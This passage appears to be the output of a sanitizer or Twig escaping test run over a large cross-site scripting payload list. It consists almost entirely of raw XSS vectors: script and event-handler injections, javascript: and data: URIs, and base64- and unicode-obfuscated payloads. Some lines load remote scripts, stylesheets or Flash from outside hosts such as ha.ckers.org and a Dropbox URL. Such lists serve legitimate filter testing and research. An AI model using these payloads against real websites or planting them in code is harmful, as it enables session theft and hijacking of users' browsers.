SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<DIV url((\\\'XSS\\\'))\\\">\\r\\n<DIV >\\r\\n<DIV alert(\\\'XSS\\\'));\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG >\\>\\r\\nexp/*<A >\\r\\n<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\na=\\\"get\\\";b=\\\"URL(ja\\\\\\\"\\\";c=\\\"vascr\\\";d=\\\"ipt:ale\\\";e=\\\"rt(\\\'XSS\\\');\\\\\\\")\\\";eval(a+b+c+d+e);\\r\\n\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>alert("XSS")\\\"></BODY></HTML>\\r\\nPT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<form id=\\\"test\\\" /><button >TESTHTML5FORMACTION\\r\\n<form><button >crosssitespt\\r\\n<frameset >\\r\\n<!--<img ><img >\\r\\n<style><img ><img >\\r\\n<object data=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"(1)\\\">\\r\\n<? foo=\\\">\\\">\\r\\n<! foo=\\\">\\\">\\r\\n</ foo=\\\">\\\">\\r\\n\\r\\n\\r\\n\\r\\n{alert(1)};1\\r\\n\\r\\n<svg xmlns=\\\"#\\\"></svg>\\r\\n<svg xmlns=\\\"#\\\"></svg>\\r\\n<iframe xmlns=\\\"#\\\" src=\\\"(1)\\\"></iframe>\\r\\n\\r\\n\\r\\n"><"\\r\\n"><"\\r\\n\\r\\n“><s”+”cript>alert()\\r\\n“>\\r\\n“><\\r\\nfoo\\r\\n<scralert()\\r\\n"/><BODY src=http://my.box.com/xss.js>")’>\\r\\n‘; alert(); var foo=’\\r\\nfoo\\\\’; alert();//’;\\r\\n\\r\\n<img >\\>\\r\\n\\r\\n\\\">\\r\\n<video >\\r\\n<audio >\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n0\\\\\\\"autofocus/=alert(1)--><video/>\\\"->\\r\\n<video/>\\>\\r\\n\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<a >xxs link</a>\\r\\n<a >xxs link</a>\\r\\n<IMG \\\"\\\"\\\">\\\">\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG ></img>\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n\\r\\n<BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n\\r\\n<\\r\\n\\r\\n\\r\\n<IMG >\\r\\n</TITLE>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<BODY BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG >\\r\\n<IMG >\\r\\n<STYLE>li {list-style-image: url(\\\"(\\\'XSS\\\')\\\");}</STYLE><UL><LI>XSS</br>\\r\\n<IMG >\\r\\n<IMG >\\r\\n<BODY >\\r\\n<BGSOUND SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<BR SIZE=\\\"&{alert(\\\'XSS\\\')}\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\">\\r\\n<STYLE>BODY{:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG >\\r\\nexp/*<A >\\r\\n<STYLE TYPE=\\\"text/javascript\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"(\\\'XSS\\\')\\\");}</STYLE><A ></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<XSS >\\r\\n<XSS >\\r\\n\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# ></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"(\\\'XSS\\\');\\\"></FRAMESET>
result with twig: {{ xss.xss | escape }}:
\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(\\\"XSS\\\")>\\r\\n<IMG SRC=`javascript:alert(\\\"RSnake says, \\\'XSS\\\'\\\")`>\\r\\n<a onmouseover=\\\"alert(document.cookie)\\\">xxs link</a>\\r\\n<a onmouseover=alert(document.cookie)>xxs link</a>\\r\\n<IMG \\\"\\\"\\\"><SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\">\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=# onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC= onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=\\\"jav ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav	ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\nperl -e \\\'print \\\"<IMG SRC=java\\\\0script:alert(\\\\\\\"XSS\\\\\\\")>\\\";\\\' > out\\r\\n<IMG SRC=\\\"  javascript:alert(\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >\\r\\n<SCRIPT SRC=//ha.ckers.org/.j>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\')\\\"\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE><SCRIPT>alert(\\\"XSS\\\");</SCRIPT>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<BODY BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG DYNSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG LOWSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<STYLE>li {list-style-image: url(\\\"javascript:alert(\\\'XSS\\\')\\\");}</STYLE><UL><LI>XSS</br>\\r\\n<IMG SRC=\\\'vbscript:msgbox(\\\"XSS\\\")\\\'>\\r\\n<IMG SRC=\\\"livescript:[code]\\\">\\r\\n<BODY ONLOAD=alert(\\\'XSS\\\')>\\r\\n<BGSOUND SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<BR SIZE=\\\"&{alert(\\\'XSS\\\')}\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\">\\r\\n<STYLE>BODY{-moz-binding:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(alert(\\\"XSS\\\"))\\\'>\\r\\n<STYLE TYPE=\\\"text/javascript\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"javascript:alert(\\\'XSS\\\')\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:alert(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:alert(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<XSS STYLE=\\\"xss:expression(alert(\\\'XSS\\\'))\\\">\\r\\n<XSS STYLE=\\\"behavior: url(xss.htc);\\\">\\r\\n¼script¾alert(¢XSS¢)¼/script¾\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"width: expression(alert(\\\'XSS\\\'));\\\">\\r\\n<BASE HREF=\\\"javascript:alert(\\\'XSS\\\');//\\\">\\r\\n <OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\\r\\n<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n<SCRIPT SRC=\\\"http://ha.ckers.org/xss.jpg\\\"></SCRIPT>\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\\'\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>alert(\\\"XSS\\\")</SCRIPT>\\\'); ?>\\r\\n<IMG SRC=\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\n<META HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=<SCRIPT>alert(\\\'XSS\\\')</SCRIPT>\\\">\\r\\n <HEAD><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>+ADw-SCRIPT+AD4-alert(\\\'XSS\\\');+ADw-/SCRIPT+AD4-\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT =\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<A HREF=\\\"http://66.102.7.147/\\\">XSS</A>\\r\\n<A HREF=\\\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\\\">XSS</A>\\r\\n<A HREF=\\\"http://1113982867/\\\">XSS</A>\\r\\n<A HREF=\\\"http://0x42.0x0000066.0x7.0x93/\\\">XSS</A>\\r\\n<A HREF=\\\"http://0102.0146.0007.00000223/\\\">XSS</A>\\r\\n<A HREF=\\\"htt p://6 6.000146.0x7.147/\\\">XSS</A>\\r\\n<iframe %00 src=\\\"	javascript:prompt(1)	\\\"%00>\\r\\n<svg><style>{font-family:\\\'<iframe/onload=confirm(1)>\\\'\\r\\n<input/onmouseover=\\\"javaSCRIPT:confirm(1)\\\"\\r\\n<sVg><scRipt %00>alert(1) {Opera}\\r\\n<img/src=`%00` onerror=this.onerror=confirm(1) \\r\\n<form><isindex formaction=\\\"javascript:confirm(1)\\\"\\r\\n<img src=`%00`
 onerror=alert(1)
\\r\\n<script/	 src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' /	></script>\\r\\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\\r\\n<iframe/src=\\\"data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/\\r\\n"><h1/onmouseover=\\\'\\\\u0061lert(1)\\\'>%00\\r\\n<iframe/src=\\\"data:text/html,<svg onload=alert(1)>\\\">\\r\\n<meta content=\\\"
 1 
; JAVASCRIPT: alert(1)\\\" http-equiv=\\\"refresh\\\"/>\\r\\n<svg><script xlink:href=data:,window.open(\\\'https://www.google.com/\\\')></script\\r\\n<svg><script x:href=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' {Opera}\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:confirm(1)\\\">\\r\\n<iframe src=javascript:alert(document.location)>\\r\\n<form><a href=\\\"javascript:\\\\u0061lert(1)\\\">X\\r\\n</script><img/*%00/src=\\\"worksinchrome:prompt(1)\\\"/%00*/onerror=\\\'eval(src)\\\'>\\r\\n<img/	  src=`~` onerror=prompt(1)>\\r\\n<form><iframe 	  src=\\\"javascript:alert(1)\\\" 	;>\\r\\n<a href=\\\"data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"	 >X</a\\r\\nhttp://www.google<script .com>alert(document.location)</script\\r\\n<a href=[�]\\\"� onmouseover=prompt(1)//\\\">XYZ</a\\r\\n<img/src=@  onerror = prompt(\\\'1\\\')\\r\\n<style/onload=prompt(\\\'XSS\\\')\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(\\r\\n�</form><input type=\\\"date\\\" onfocus=\\\"alert(1)\\\">\\r\\n<form><textarea onkeyup=\\\'\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(1)\\\'>\\r\\n<script /***/>/***/confirm(\\\'\\\\uFF41\\\\uFF4C\\\\uFF45\\\\uFF52\\\\uFF54\\\\u1455\\\\uFF11\\\\u1450\\\')/***/</script /***/\\r\\n<iframe srcdoc=\\\'<body onload=prompt(1)>\\\'>\\r\\n<a href=\\\"javascript:void(0)\\\" onmouseover=
javascript:alert(1)
>X</a>\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n<style/onload=<!--	> alert (1)>\\r\\n<///style///><span %2F onmousemove=\\\'alert(1)\\\'>SPAN\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' onmouseover=	prompt(1)\\r\\n"><svg><style>{-o-link-source:\\\'<body/onload=confirm(1)>\\\'\\r\\n <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}\\r\\n<marquee onstart=\\\'javascript:alert(1)\\\'>^__^\\r\\n<div/style=\\\"width:expression(confirm(1))\\\">X</div> {IE7}\\r\\n<iframe/%00/ src=javaSCRIPT:alert(1)\\r\\n//<form/action=javascript:alert(document.cookie)><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/onload=prompt(1) /*iframe/src*/>\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/onload=this.onload=confirm(1)>\\\'</font>/</style>\\r\\n<a/href=\\\"javascript: javascript:prompt(1)\\\"><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/onmouseover=prompt(1)\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n<a href=\\\"javascript:\\\\u0061le%72t(1)\\\"><button>\\r\\n<div onmouseover=\\\'alert(1)\\\'>DIV</div>\\r\\n<iframe style=\\\"position:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\">\\r\\n<a href=\\\"jAvAsCrIpT:alert(1)\\\">X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var onmouseover=\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n<a href=javascript:alert(document.cookie)>Click Here</a>\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"onerror=\\\'prompt(1)\\\'\\\">\\r\\n<%<!--\\\'%><script>alert(1);</script -->\\r\\n<script src=\\\"data:text/javascript,alert(1)\\\"></script>\\r\\n<iframe/src \\\\/\\\\/onload = prompt(1)\\r\\n<iframe/onreadystatechange=alert(1)\\r\\n<svg/onload=alert(1)\\r\\n<input value=<><iframe/src=javascript:confirm(1)\\r\\n<input type=\\\"text\\\" value=`` <div/onmouseover=\\\'alert(1)\\\'>X</div>\\r\\nhttp://www.<script>alert(1)</script .com\\r\\n<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>\\r\\n<svg><script ?>alert(1)\\r\\n<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>\\r\\n<img src=`xx:xx`onerror=alert(1)>\\r\\n<object type=\\\"text/x-scriptlet\\\" data=\\\"http://jsfiddle.net/XLE63/ \\\"></object>\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;javascript:alert(1)\\\"/>\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs><script>MsgBox+1\\r\\n<a href=\\\"data:text/html;base64_,<svg/onload=\\\\u0061le%72t(1)>\\\">X</a\\r\\n<iframe/onreadystatechange=\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(\\\'\\\\u0061\\\') worksinIE>\\r\\n<script>~\\\'\\\\u0061\\\' ; \\\\u0074\\\\u0068\\\\u0072\\\\u006F\\\\u0077 ~ \\\\u0074\\\\u0068\\\\u0069\\\\u0073. \\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(~\\\'\\\\u0061\\\')</script U+\\r\\n<script/src=\\\"data:text%2Fj\\\\u0061v\\\\u0061script,\\\\u0061lert(\\\'\\\\u0061\\\')\\\"></script a=\\\\u0061 & /=%2F\\r\\n<script/src=data:text/j\\\\u0061v\\\\u0061script,\\\\u0061%6C%65%72%74(/XSS/)></script\\r\\n<object data=javascript:\\\\u0061le%72t(1)>\\r\\n<script>+-+-1-+-+alert(1)</script>\\r\\n<body/onload=<!-->
alert(1)>\\r\\n<script itworksinallbrowsers>/*<script* */alert(1)</script\\r\\n<img src ?itworksonchrome?\\\\/onerror = alert(1)\\r\\n<svg><script>//
confirm(1);</script </svg>\\r\\n<svg><script onlypossibleinopera:-)> alert(1)\\r\\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe\\r\\n<script x> alert(1) </script 1=2\\r\\n<div/onmouseover=\\\'alert(1)\\\'> style=\\\"x:\\\">\\r\\n<--`<img/src=` onerror=alert(1)> --!>\\r\\n<script/src=data:text/javascript,alert(1)></script>\\r\\n<div style=\\\"position:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\" onclick=\\\"alert(1)\\\">x</button>\\r\\n\\\"><img src=x onerror=window.open(\\\'https://www.google.com/\\\');>\\r\\n<form><button formaction=javascript:alert(1)>CLICKME\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\\\"></iframe>\\r\\n<a href=\\\"data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​\\\">Click Me</a>\\r\\n‘; alert(1);\\r\\n‘)alert(1);//\\r\\n<ScRiPt>alert(1)</sCriPt>\\r\\n<IMG SRC=jAVasCrIPt:alert(‘XSS’)>\\r\\n<IMG SRC=”javascript:alert(‘XSS’);”>\\r\\n<IMG SRC=javascript:alert("XSS")>\\r\\n<IMG SRC=javascript:alert(‘XSS’)> \\r\\n<img src=xss onerror=alert(1)>\\r\\n<iframe %00 src=\\\"	javascript:prompt(1)	\\\"%00>\\r\\n<svg><style>{font-family:\\\'<iframe/onload=confirm(1)>\\\'\\r\\n<input/onmouseover=\\\"javaSCRIPT:confirm(1)\\\"\\r\\n<sVg><scRipt %00>alert(1) {Opera}\\r\\n<img/src=`%00` onerror=this.onerror=confirm(1)\\r\\n<form><isindex formaction=\\\"javascript:confirm(1)\\\"\\r\\n<img src=`%00`
 onerror=alert(1)
\\r\\n<script/	 src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' /	></script>\\r\\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\\r\\n<iframe/src=\\\"data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/\\r\\n"><h1/onmouseover=\\\'\\\\u0061lert(1)\\\'>%00\\r\\n<iframe/src=\\\"data:text/html,<svg onload=alert(1)>\\\">\\r\\n<meta content=\\\"
 1 
; JAVASCRIPT: alert(1)\\\" http-equiv=\\\"refresh\\\"/>\\r\\n<svg><script xlink:href=data:,window.open(\\\'https://www.google.com/\\\')></script\\r\\n<svg><script x:href=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' {Opera}\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:confirm(1)\\\">\\r\\n<iframe src=javascript:alert(document.location)>\\r\\n<form><a href=\\\"javascript:\\\\u0061lert(1)\\\">X\\r\\n</script><img/*%00/src=\\\"worksinchrome:prompt(1)\\\"/%00*/onerror=\\\'eval(src)\\\'>\\r\\n<img/	  src=`~` onerror=prompt(1)>\\r\\n<form><iframe 	  src=\\\"javascript:alert(1)\\\" 	;>\\r\\n<a href=\\\"data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"	 >X</a\\r\\nhttp://www.google<script .com>alert(document.location)</script\\r\\n<a href=[�]\\\"� onmouseover=prompt(1)//\\\">XYZ</a\\r\\n<img/src=@  onerror = prompt(\\\'1\\\')\\r\\n<style/onload=prompt(\\\'XSS\\\')\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(\\r\\n�</form><input type=\\\"date\\\" onfocus=\\\"alert(1)\\\">\\r\\n<form><textarea onkeyup=\\\'\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(1)\\\'>\\r\\n<script /***/>/***/confirm(\\\'\\\\uFF41\\\\uFF4C\\\\uFF45\\\\uFF52\\\\uFF54\\\\u1455\\\\uFF11\\\\u1450\\\')/***/</script /***/\\r\\n<iframe srcdoc=\\\'<body onload=prompt(1)>\\\'>\\r\\n<a href=\\\"javascript:void(0)\\\" onmouseover=
javascript:alert(1)
>X</a>\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n<style/onload=<!--	> alert (1)>\\r\\n<///style///><span %2F onmousemove=\\\'alert(1)\\\'>SPAN\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' onmouseover=	prompt(1)\\r\\n"><svg><style>{-o-link-source:\\\'<body/onload=confirm(1)>\\\'\\r\\n <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}\\r\\n<marquee onstart=\\\'javascript:alert(1)\\\'>^__^\\r\\n<div/style=\\\"width:expression(confirm(1))\\\">X</div> {IE7}\\r\\n<iframe/%00/ src=javaSCRIPT:alert(1)\\r\\n//<form/action=javascript:alert(document.cookie)><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/onload=prompt(1) /*iframe/src*/>\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/onload=this.onload=confirm(1)>\\\'</font>/</style>\\r\\n<a/href=\\\"javascript: javascript:prompt(1)\\\"><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/onmouseover=prompt(1)\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n<a href=\\\"javascript:\\\\u0061le%72t(1)\\\"><button>\\r\\n<div 